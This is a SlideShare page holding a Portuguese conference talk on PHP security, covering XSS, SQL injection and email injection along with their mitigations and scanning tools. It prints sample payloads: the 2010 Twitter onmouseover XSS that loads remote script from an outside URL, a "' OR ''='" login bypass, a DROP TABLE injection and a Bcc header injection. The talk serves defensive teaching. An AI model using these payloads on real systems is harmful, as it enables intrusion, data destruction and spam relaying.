SlideShare uma empresa Scribd logo
Segurança em aplicações PHP
       Rodrigo dos Santos
        rodrigodossantos.ws
             @rosantoz
Sobre mim
➔   Desenvolvedor PHP desde 2004

➔   Zend Certified Engineer PHP 5.3

➔   Zend Framework Certified

➔   Pós Graduado em Engenharia de Projetos de Software

➔   Sócio-Proprietário na Ilha Web (www.ilhaweb.net)



    PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
O que iremos abordar?

➔   Como acontecem os principais ataques a aplicações PHP;




     PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
O que iremos abordar?

➔   Como acontecem os principais ataques a aplicações PHP;


➔   Como se previnir;




     PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
O que iremos abordar?

➔   Como acontecem os principais ataques a aplicações PHP;


➔   Como se previnir;



➔   Ferramentas de diagnóstico (e de ataque);




     PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
3 Regras Básicas de Segurança




 PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
3 Regras Básicas de Segurança


1) Filtre e valide os dados de entrada;




 PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
3 Regras Básicas de Segurança


1) Filtre e valide os dados de entrada;

2) Escape os dados de saída;




 PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
3 Regras Básicas de Segurança


1) Filtre e valide os dados de entrada;

2) Escape os dados de saída;

3) Nunca confie em seus usuários;



 PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
XSS – Cross-Site Scripting




 PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
XSS – Cross-Site Scripting



  Injeção de código HTML, CSS ou
      Javascript em uma página.




 PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
XSS – Cross-Site Scripting
O javascript representa a maior ameaça por possibilitar:


1) Redirecionar o usuário para outra página;

2) Modificar a página;

3) Ler os cookies.




    PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
XSS – Cross-Site Scripting
Mas como acontece?




  PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
XSS – Cross-Site Scripting
Mas como acontece?




  PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
XSS – Cross-Site Scripting
 Twitter Hack




http://edition.cnn.com/2010/TECH/social.media/09/21/twitter.security.flaw/index.html

     PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
XSS – Cross-Site Scripting
Twitter Hack




 http://t.co/@"style="font-
 size:999999999999px;"onmouseover="$.getScript
 ('http:u002fu002fis.gdu002ffl9A7')"/




  PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
XSS – Cross-Site Scripting
Como evitar?


 ➔   htmlspecialchars()

 ➔   htmlentities()

 ➔   strip_tags()

 ➔   Whitelist




     PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
XSS – Cross-Site Scripting
Ferramenta de diagnóstico:




  PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
SQL Injection




 PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
SQL Injection



   Injeção de uma instrução SQL
  através de parâmetros recebidos
        pela por um sistema.




 PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
SQL Injection




 PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
SQL Injection
Mas como acontece?




  PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
SQL Injection
Mas como acontece?




  PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
SQL Injection
Mas como acontece?




usuário: qualquer
senha: ' OR ''='




   PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
SQL Injection
Mas como acontece?




usuário: qualquer
senha: ' OR ''='




   PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
SQL Injection
Mas como acontece?




usuário: qualquer'; DROP TABLE usuarios ; --
senha: '1234'




   PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
SQL Injection
Mas como acontece?




usuário: qualquer'; DROP TABLE usuarios ; --
senha: '1234'




   PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
SQL Injection
Como evitar?


 ➔   mysql_real_escape_string()

 ➔   Prepared Statement




     PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
SQL Injection
SQL Injection no mundo real




  PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
SQL Injection
Ferramenta de diagnóstico:




  PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
Email Injection
Como acontece:




  PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
Email Injection
Como acontece:




Campo nome:

José da Silva <josedasilva@provedor.com>nBcc <email2@provedor.com>,
<email3@provedor.com>, <email4@provedor.com>




    PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
Email Injection
Como evitar:


 ➔   Valide o email do usário;

 ➔   Não use mail() para enviar email;




     PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
Ferramentas de Diagnóstico




                             XSS Me
               https://addons.mozilla.org/en-US/firefox/addon/xss-me/




 PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
Ferramentas de Diagnóstico




                       SQL Inject Me
           https://addons.mozilla.org/en-US/firefox/addon/sql-inject-me




 PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
Ferramentas de Diagnóstico




                       Skipfish
           http://code.google.com/p/skipfish/downloads/list




 PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
Ferramentas de Diagnóstico




               Acunetix (free edition)
           http://www.acunetix.com/cross-site-scripting/scanner.htm




 PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
Ferramentas de Diagnóstico




                                ZAP
                        code.google.com/p/zaproxy/




 PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
Recomendação




                            OWASP
                          https://www.owasp.org




 PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
Perguntas?




PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
Obrigado
                              @rosantoz
                      falecom@rodrigodossantos.ws




PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012

Mais conteúdo relacionado

Mais procurados

Design de Software com ASP.NET MVC
Design de Software com ASP.NET MVCDesign de Software com ASP.NET MVC
Design de Software com ASP.NET MVC
Waldyr Felix
 
TDC 2012 TDD e 20 coisas que você precisa saber
TDC 2012 TDD e 20 coisas que você precisa saberTDC 2012 TDD e 20 coisas que você precisa saber
TDC 2012 TDD e 20 coisas que você precisa saber
Camilo Lopes
 
Qualidade do tester x qualidade do teste #TDC2013SP
Qualidade do tester x qualidade do teste #TDC2013SPQualidade do tester x qualidade do teste #TDC2013SP
Qualidade do tester x qualidade do teste #TDC2013SP
Alan Jose
 
Configurando aplicações em ambiente RedHat OpenShift através do Eclipse
Configurando aplicações em ambiente RedHat OpenShift através do EclipseConfigurando aplicações em ambiente RedHat OpenShift através do Eclipse
Configurando aplicações em ambiente RedHat OpenShift através do Eclipse
Alberlan Barros
 
Service virtualization floripa
Service virtualization floripaService virtualization floripa
Service virtualization floripa
Ernesto Barbosa
 
Tdd como uma ferramenta de arquitetura
Tdd como uma ferramenta de arquiteturaTdd como uma ferramenta de arquitetura
Tdd como uma ferramenta de arquitetura
Everton Tavares
 
Gestão da Automação TDC Floripa 2018
Gestão da Automação TDC Floripa 2018Gestão da Automação TDC Floripa 2018
Gestão da Automação TDC Floripa 2018
Ernesto Barbosa
 
Não deixe seu projeto só nas mãos do framework
Não deixe seu projeto só nas mãos do frameworkNão deixe seu projeto só nas mãos do framework
Não deixe seu projeto só nas mãos do framework
Giuseppe Lopes
 
TheDevConf 2016 - Análise efetiva de microservices em 3 passos
TheDevConf 2016 - Análise efetiva de microservices em 3 passosTheDevConf 2016 - Análise efetiva de microservices em 3 passos
TheDevConf 2016 - Análise efetiva de microservices em 3 passos
Taise Dias da Silva
 
TDC POA 2015 - Já automatizei meu projeto. E agora? - Samuel Lucas
TDC POA 2015 - Já automatizei meu projeto. E agora? - Samuel LucasTDC POA 2015 - Já automatizei meu projeto. E agora? - Samuel Lucas
TDC POA 2015 - Já automatizei meu projeto. E agora? - Samuel Lucas
Samuel Lucas
 
Demandas legais no desenvolvimento de software
Demandas legais no desenvolvimento de softwareDemandas legais no desenvolvimento de software
Demandas legais no desenvolvimento de software
Claudio Ferreira Filho
 
TDC2016SP - Trilha Startups
TDC2016SP - Trilha StartupsTDC2016SP - Trilha Startups
TDC2016SP - Trilha Startups
tdc-globalcode
 
TDC2016SP - Trilha Startups
TDC2016SP - Trilha StartupsTDC2016SP - Trilha Startups
TDC2016SP - Trilha Startups
tdc-globalcode
 
Tem gente demais mexendo no APP!
Tem gente demais mexendo no APP!Tem gente demais mexendo no APP!
Tem gente demais mexendo no APP!
tdc-globalcode
 
TDC2016SP - Trilha Microservices
TDC2016SP - Trilha MicroservicesTDC2016SP - Trilha Microservices
TDC2016SP - Trilha Microservices
tdc-globalcode
 
Implementando aplicativos Web com JSF
Implementando aplicativos Web com JSF Implementando aplicativos Web com JSF
Implementando aplicativos Web com JSF
Otávio Santana
 
Dos requisitos à implantação em uma palestra
Dos requisitos à implantação em uma palestraDos requisitos à implantação em uma palestra
Dos requisitos à implantação em uma palestra
Rafael Chaves
 
TDC 2012 - JDF
TDC 2012 - JDFTDC 2012 - JDF
TDC 2012 - JDF
Rafael Benevides
 
Introdução à Segurança de Containers e Kubernetes
Introdução à Segurança de Containers e KubernetesIntrodução à Segurança de Containers e Kubernetes
Introdução à Segurança de Containers e Kubernetes
Tenchi Security
 
DevQA - Da zona de conforto ao comprometimento com a Qualidade
DevQA - Da zona de conforto ao comprometimento com a QualidadeDevQA - Da zona de conforto ao comprometimento com a Qualidade
DevQA - Da zona de conforto ao comprometimento com a Qualidade
Kamilla Queiroz Xavier
 

Mais procurados (20)

Design de Software com ASP.NET MVC
Design de Software com ASP.NET MVCDesign de Software com ASP.NET MVC
Design de Software com ASP.NET MVC
 
TDC 2012 TDD e 20 coisas que você precisa saber
TDC 2012 TDD e 20 coisas que você precisa saberTDC 2012 TDD e 20 coisas que você precisa saber
TDC 2012 TDD e 20 coisas que você precisa saber
 
Qualidade do tester x qualidade do teste #TDC2013SP
Qualidade do tester x qualidade do teste #TDC2013SPQualidade do tester x qualidade do teste #TDC2013SP
Qualidade do tester x qualidade do teste #TDC2013SP
 
Configurando aplicações em ambiente RedHat OpenShift através do Eclipse
Configurando aplicações em ambiente RedHat OpenShift através do EclipseConfigurando aplicações em ambiente RedHat OpenShift através do Eclipse
Configurando aplicações em ambiente RedHat OpenShift através do Eclipse
 
Service virtualization floripa
Service virtualization floripaService virtualization floripa
Service virtualization floripa
 
Tdd como uma ferramenta de arquitetura
Tdd como uma ferramenta de arquiteturaTdd como uma ferramenta de arquitetura
Tdd como uma ferramenta de arquitetura
 
Gestão da Automação TDC Floripa 2018
Gestão da Automação TDC Floripa 2018Gestão da Automação TDC Floripa 2018
Gestão da Automação TDC Floripa 2018
 
Não deixe seu projeto só nas mãos do framework
Não deixe seu projeto só nas mãos do frameworkNão deixe seu projeto só nas mãos do framework
Não deixe seu projeto só nas mãos do framework
 
TheDevConf 2016 - Análise efetiva de microservices em 3 passos
TheDevConf 2016 - Análise efetiva de microservices em 3 passosTheDevConf 2016 - Análise efetiva de microservices em 3 passos
TheDevConf 2016 - Análise efetiva de microservices em 3 passos
 
TDC POA 2015 - Já automatizei meu projeto. E agora? - Samuel Lucas
TDC POA 2015 - Já automatizei meu projeto. E agora? - Samuel LucasTDC POA 2015 - Já automatizei meu projeto. E agora? - Samuel Lucas
TDC POA 2015 - Já automatizei meu projeto. E agora? - Samuel Lucas
 
Demandas legais no desenvolvimento de software
Demandas legais no desenvolvimento de softwareDemandas legais no desenvolvimento de software
Demandas legais no desenvolvimento de software
 
TDC2016SP - Trilha Startups
TDC2016SP - Trilha StartupsTDC2016SP - Trilha Startups
TDC2016SP - Trilha Startups
 
TDC2016SP - Trilha Startups
TDC2016SP - Trilha StartupsTDC2016SP - Trilha Startups
TDC2016SP - Trilha Startups
 
Tem gente demais mexendo no APP!
Tem gente demais mexendo no APP!Tem gente demais mexendo no APP!
Tem gente demais mexendo no APP!
 
TDC2016SP - Trilha Microservices
TDC2016SP - Trilha MicroservicesTDC2016SP - Trilha Microservices
TDC2016SP - Trilha Microservices
 
Implementando aplicativos Web com JSF
Implementando aplicativos Web com JSF Implementando aplicativos Web com JSF
Implementando aplicativos Web com JSF
 
Dos requisitos à implantação em uma palestra
Dos requisitos à implantação em uma palestraDos requisitos à implantação em uma palestra
Dos requisitos à implantação em uma palestra
 
TDC 2012 - JDF
TDC 2012 - JDFTDC 2012 - JDF
TDC 2012 - JDF
 
Introdução à Segurança de Containers e Kubernetes
Introdução à Segurança de Containers e KubernetesIntrodução à Segurança de Containers e Kubernetes
Introdução à Segurança de Containers e Kubernetes
 
DevQA - Da zona de conforto ao comprometimento com a Qualidade
DevQA - Da zona de conforto ao comprometimento com a QualidadeDevQA - Da zona de conforto ao comprometimento com a Qualidade
DevQA - Da zona de conforto ao comprometimento com a Qualidade
 

Destaque

5s[1]
5s[1]5s[1]
5s[1]
kleber1
 
Implementando Segurança Em Sua Aplicação PHP
Implementando Segurança Em Sua Aplicação PHPImplementando Segurança Em Sua Aplicação PHP
Implementando Segurança Em Sua Aplicação PHP
Er Galvão Abbott
 
Programa 5S
Programa 5SPrograma 5S
treinamento de 5S
treinamento de 5Streinamento de 5S
treinamento de 5S
Ane Costa
 
Slides 5 s
Slides 5 sSlides 5 s
Apresentação 5 s
Apresentação 5 sApresentação 5 s
Apresentação 5 s
Aildo de Lima
 
5s Audit Checklist
5s Audit Checklist5s Audit Checklist
5s Audit Checklist
Ben Geck
 
Check list 5 s
Check list 5 sCheck list 5 s
Check list 5 s
Jedson G
 
AprersentaçãO 5 S
AprersentaçãO 5 SAprersentaçãO 5 S
AprersentaçãO 5 S
guestb15f10
 

Destaque (9)

5s[1]
5s[1]5s[1]
5s[1]
 
Implementando Segurança Em Sua Aplicação PHP
Implementando Segurança Em Sua Aplicação PHPImplementando Segurança Em Sua Aplicação PHP
Implementando Segurança Em Sua Aplicação PHP
 
Programa 5S
Programa 5SPrograma 5S
Programa 5S
 
treinamento de 5S
treinamento de 5Streinamento de 5S
treinamento de 5S
 
Slides 5 s
Slides 5 sSlides 5 s
Slides 5 s
 
Apresentação 5 s
Apresentação 5 sApresentação 5 s
Apresentação 5 s
 
5s Audit Checklist
5s Audit Checklist5s Audit Checklist
5s Audit Checklist
 
Check list 5 s
Check list 5 sCheck list 5 s
Check list 5 s
 
AprersentaçãO 5 S
AprersentaçãO 5 SAprersentaçãO 5 S
AprersentaçãO 5 S
 

Semelhante a Segurança em aplicações php

Workshop Node JS - Nível Básico
Workshop Node JS - Nível BásicoWorkshop Node JS - Nível Básico
Workshop Node JS - Nível Básico
inopus
 
Aplicações Web Multiplataforma com ASP .NET Core MVC - FATEC
Aplicações Web Multiplataforma com ASP .NET Core MVC - FATECAplicações Web Multiplataforma com ASP .NET Core MVC - FATEC
Aplicações Web Multiplataforma com ASP .NET Core MVC - FATEC
Rafael Pessoni
 
TDC - Técnicas e recursos para desenvolvimento web em cenários de grande escala
TDC - Técnicas e recursos para desenvolvimento web em cenários de grande escalaTDC - Técnicas e recursos para desenvolvimento web em cenários de grande escala
TDC - Técnicas e recursos para desenvolvimento web em cenários de grande escala
Cleber Dantas
 
PCI DSS e Metodologias Ágeis
PCI DSS e Metodologias ÁgeisPCI DSS e Metodologias Ágeis
PCI DSS e Metodologias Ágeis
Ulisses Albuquerque
 
Desenvolvimento de Aplicações Web Seguras
Desenvolvimento de Aplicações Web SegurasDesenvolvimento de Aplicações Web Seguras
Desenvolvimento de Aplicações Web Seguras
Dércio Luiz Reis
 
TDC2018SP | Trilha Arq PHP - Seguranca de aplicacoes web com o uso de Boas pr...
TDC2018SP | Trilha Arq PHP - Seguranca de aplicacoes web com o uso de Boas pr...TDC2018SP | Trilha Arq PHP - Seguranca de aplicacoes web com o uso de Boas pr...
TDC2018SP | Trilha Arq PHP - Seguranca de aplicacoes web com o uso de Boas pr...
tdc-globalcode
 
Fora Sobrinhos! Ecossistema para o desenvolvimento de aplicações corporativas...
Fora Sobrinhos! Ecossistema para o desenvolvimento de aplicações corporativas...Fora Sobrinhos! Ecossistema para o desenvolvimento de aplicações corporativas...
Fora Sobrinhos! Ecossistema para o desenvolvimento de aplicações corporativas...
Alex Piaz
 
Introducao ao PHP @edgarsandi
Introducao ao PHP @edgarsandiIntroducao ao PHP @edgarsandi
Introducao ao PHP @edgarsandi
Edgar Rodrigues Sandi
 
Hardening em sistemas - Overview
Hardening em sistemas  - OverviewHardening em sistemas  - Overview
Hardening em sistemas - Overview
Data Security
 
Segurança de Aplicações WEB e OpenSource
Segurança de Aplicações WEB e OpenSourceSegurança de Aplicações WEB e OpenSource
Segurança de Aplicações WEB e OpenSource
Alexandre Jesus Marcolino
 
Monitorando serviços REST com o Application Insights
Monitorando serviços REST com o Application InsightsMonitorando serviços REST com o Application Insights
Monitorando serviços REST com o Application Insights
Renato Groff
 
Workshop PHP - Nível básico
Workshop PHP - Nível básicoWorkshop PHP - Nível básico
Workshop PHP - Nível básico
inopus
 
Security & PHP
Security & PHPSecurity & PHP
Security & PHP
Nuno Loureiro
 
Hardening Linux
Hardening LinuxHardening Linux
Hardening Linux
hdoria
 
Polymer Starter Kit
Polymer Starter KitPolymer Starter Kit
Polymer Starter Kit
Evaldo Barbosa
 
Analise de Requisitos Software
Analise de Requisitos SoftwareAnalise de Requisitos Software
Analise de Requisitos Software
Rildo (@rildosan) Santos
 
Carreira de desenvolvimento de software com tecnologia microsoft
Carreira de desenvolvimento de software com tecnologia microsoftCarreira de desenvolvimento de software com tecnologia microsoft
Carreira de desenvolvimento de software com tecnologia microsoft
Rodrigo Kono
 
TDC2017 | Florianopolis - Trilha DevOps How we figured out we had a SRE team ...
TDC2017 | Florianopolis - Trilha DevOps How we figured out we had a SRE team ...TDC2017 | Florianopolis - Trilha DevOps How we figured out we had a SRE team ...
TDC2017 | Florianopolis - Trilha DevOps How we figured out we had a SRE team ...
tdc-globalcode
 
Reconhecimento facial com azure
Reconhecimento facial com azureReconhecimento facial com azure
Reconhecimento facial com azure
Vinicius Mussak
 
Frameworks de Desenvolvimento Web com PHP
Frameworks de Desenvolvimento Web com PHPFrameworks de Desenvolvimento Web com PHP
Frameworks de Desenvolvimento Web com PHP
Elton Minetto
 

Semelhante a Segurança em aplicações php (20)

Workshop Node JS - Nível Básico
Workshop Node JS - Nível BásicoWorkshop Node JS - Nível Básico
Workshop Node JS - Nível Básico
 
Aplicações Web Multiplataforma com ASP .NET Core MVC - FATEC
Aplicações Web Multiplataforma com ASP .NET Core MVC - FATECAplicações Web Multiplataforma com ASP .NET Core MVC - FATEC
Aplicações Web Multiplataforma com ASP .NET Core MVC - FATEC
 
TDC - Técnicas e recursos para desenvolvimento web em cenários de grande escala
TDC - Técnicas e recursos para desenvolvimento web em cenários de grande escalaTDC - Técnicas e recursos para desenvolvimento web em cenários de grande escala
TDC - Técnicas e recursos para desenvolvimento web em cenários de grande escala
 
PCI DSS e Metodologias Ágeis
PCI DSS e Metodologias ÁgeisPCI DSS e Metodologias Ágeis
PCI DSS e Metodologias Ágeis
 
Desenvolvimento de Aplicações Web Seguras
Desenvolvimento de Aplicações Web SegurasDesenvolvimento de Aplicações Web Seguras
Desenvolvimento de Aplicações Web Seguras
 
TDC2018SP | Trilha Arq PHP - Seguranca de aplicacoes web com o uso de Boas pr...
TDC2018SP | Trilha Arq PHP - Seguranca de aplicacoes web com o uso de Boas pr...TDC2018SP | Trilha Arq PHP - Seguranca de aplicacoes web com o uso de Boas pr...
TDC2018SP | Trilha Arq PHP - Seguranca de aplicacoes web com o uso de Boas pr...
 
Fora Sobrinhos! Ecossistema para o desenvolvimento de aplicações corporativas...
Fora Sobrinhos! Ecossistema para o desenvolvimento de aplicações corporativas...Fora Sobrinhos! Ecossistema para o desenvolvimento de aplicações corporativas...
Fora Sobrinhos! Ecossistema para o desenvolvimento de aplicações corporativas...
 
Introducao ao PHP @edgarsandi
Introducao ao PHP @edgarsandiIntroducao ao PHP @edgarsandi
Introducao ao PHP @edgarsandi
 
Hardening em sistemas - Overview
Hardening em sistemas  - OverviewHardening em sistemas  - Overview
Hardening em sistemas - Overview
 
Segurança de Aplicações WEB e OpenSource
Segurança de Aplicações WEB e OpenSourceSegurança de Aplicações WEB e OpenSource
Segurança de Aplicações WEB e OpenSource
 
Monitorando serviços REST com o Application Insights
Monitorando serviços REST com o Application InsightsMonitorando serviços REST com o Application Insights
Monitorando serviços REST com o Application Insights
 
Workshop PHP - Nível básico
Workshop PHP - Nível básicoWorkshop PHP - Nível básico
Workshop PHP - Nível básico
 
Security & PHP
Security & PHPSecurity & PHP
Security & PHP
 
Hardening Linux
Hardening LinuxHardening Linux
Hardening Linux
 
Polymer Starter Kit
Polymer Starter KitPolymer Starter Kit
Polymer Starter Kit
 
Analise de Requisitos Software
Analise de Requisitos SoftwareAnalise de Requisitos Software
Analise de Requisitos Software
 
Carreira de desenvolvimento de software com tecnologia microsoft
Carreira de desenvolvimento de software com tecnologia microsoftCarreira de desenvolvimento de software com tecnologia microsoft
Carreira de desenvolvimento de software com tecnologia microsoft
 
TDC2017 | Florianopolis - Trilha DevOps How we figured out we had a SRE team ...
TDC2017 | Florianopolis - Trilha DevOps How we figured out we had a SRE team ...TDC2017 | Florianopolis - Trilha DevOps How we figured out we had a SRE team ...
TDC2017 | Florianopolis - Trilha DevOps How we figured out we had a SRE team ...
 
Reconhecimento facial com azure
Reconhecimento facial com azureReconhecimento facial com azure
Reconhecimento facial com azure
 
Frameworks de Desenvolvimento Web com PHP
Frameworks de Desenvolvimento Web com PHPFrameworks de Desenvolvimento Web com PHP
Frameworks de Desenvolvimento Web com PHP
 

Segurança em aplicações php

  • 1. Segurança em aplicações PHP Rodrigo dos Santos rodrigodossantos.ws @rosantoz
  • 2. Sobre mim ➔ Desenvolvedor PHP desde 2004 ➔ Zend Certified Engineer PHP 5.3 ➔ Zend Framework Certified ➔ Pós Graduado em Engenharia de Projetos de Software ➔ Sócio-Proprietário na Ilha Web (www.ilhaweb.net) PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 3. O que iremos abordar? ➔ Como acontecem os principais ataques a aplicações PHP; PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 4. O que iremos abordar? ➔ Como acontecem os principais ataques a aplicações PHP; ➔ Como se previnir; PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 5. O que iremos abordar? ➔ Como acontecem os principais ataques a aplicações PHP; ➔ Como se previnir; ➔ Ferramentas de diagnóstico (e de ataque); PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 6. 3 Regras Básicas de Segurança PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 7. 3 Regras Básicas de Segurança 1) Filtre e valide os dados de entrada; PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 8. 3 Regras Básicas de Segurança 1) Filtre e valide os dados de entrada; 2) Escape os dados de saída; PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 9. 3 Regras Básicas de Segurança 1) Filtre e valide os dados de entrada; 2) Escape os dados de saída; 3) Nunca confie em seus usuários; PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 10. XSS – Cross-Site Scripting PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 11. XSS – Cross-Site Scripting Injeção de código HTML, CSS ou Javascript em uma página. PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 12. XSS – Cross-Site Scripting O javascript representa a maior ameaça por possibilitar: 1) Redirecionar o usuário para outra página; 2) Modificar a página; 3) Ler os cookies. PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 13. XSS – Cross-Site Scripting Mas como acontece? PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 14. XSS – Cross-Site Scripting Mas como acontece? PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 15. XSS – Cross-Site Scripting Twitter Hack http://edition.cnn.com/2010/TECH/social.media/09/21/twitter.security.flaw/index.html PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 16. XSS – Cross-Site Scripting Twitter Hack http://t.co/@"style="font- size:999999999999px;"onmouseover="$.getScript ('http:u002fu002fis.gdu002ffl9A7')"/ PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 17. XSS – Cross-Site Scripting Como evitar? ➔ htmlspecialchars() ➔ htmlentities() ➔ strip_tags() ➔ Whitelist PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 18. XSS – Cross-Site Scripting Ferramenta de diagnóstico: PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 19. SQL Injection PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 20. SQL Injection Injeção de uma instrução SQL através de parâmetros recebidos pela por um sistema. PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 21. SQL Injection PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 22. SQL Injection Mas como acontece? PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 23. SQL Injection Mas como acontece? PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 24. SQL Injection Mas como acontece? usuário: qualquer senha: ' OR ''=' PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 25. SQL Injection Mas como acontece? usuário: qualquer senha: ' OR ''=' PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 26. SQL Injection Mas como acontece? usuário: qualquer'; DROP TABLE usuarios ; -- senha: '1234' PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 27. SQL Injection Mas como acontece? usuário: qualquer'; DROP TABLE usuarios ; -- senha: '1234' PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 28. SQL Injection Como evitar? ➔ mysql_real_escape_string() ➔ Prepared Statement PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 29. SQL Injection SQL Injection no mundo real PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 30. SQL Injection Ferramenta de diagnóstico: PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 31. Email Injection Como acontece: PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 32. Email Injection Como acontece: Campo nome: José da Silva <josedasilva@provedor.com>nBcc <email2@provedor.com>, <email3@provedor.com>, <email4@provedor.com> PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 33. Email Injection Como evitar: ➔ Valide o email do usário; ➔ Não use mail() para enviar email; PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 34. Ferramentas de Diagnóstico XSS Me https://addons.mozilla.org/en-US/firefox/addon/xss-me/ PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 35. Ferramentas de Diagnóstico SQL Inject Me https://addons.mozilla.org/en-US/firefox/addon/sql-inject-me PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 36. Ferramentas de Diagnóstico Skipfish http://code.google.com/p/skipfish/downloads/list PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 37. Ferramentas de Diagnóstico Acunetix (free edition) http://www.acunetix.com/cross-site-scripting/scanner.htm PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 38. Ferramentas de Diagnóstico ZAP code.google.com/p/zaproxy/ PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 39. Recomendação OWASP https://www.owasp.org PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 40. Perguntas? PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 41. Obrigado @rosantoz falecom@rodrigodossantos.ws PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012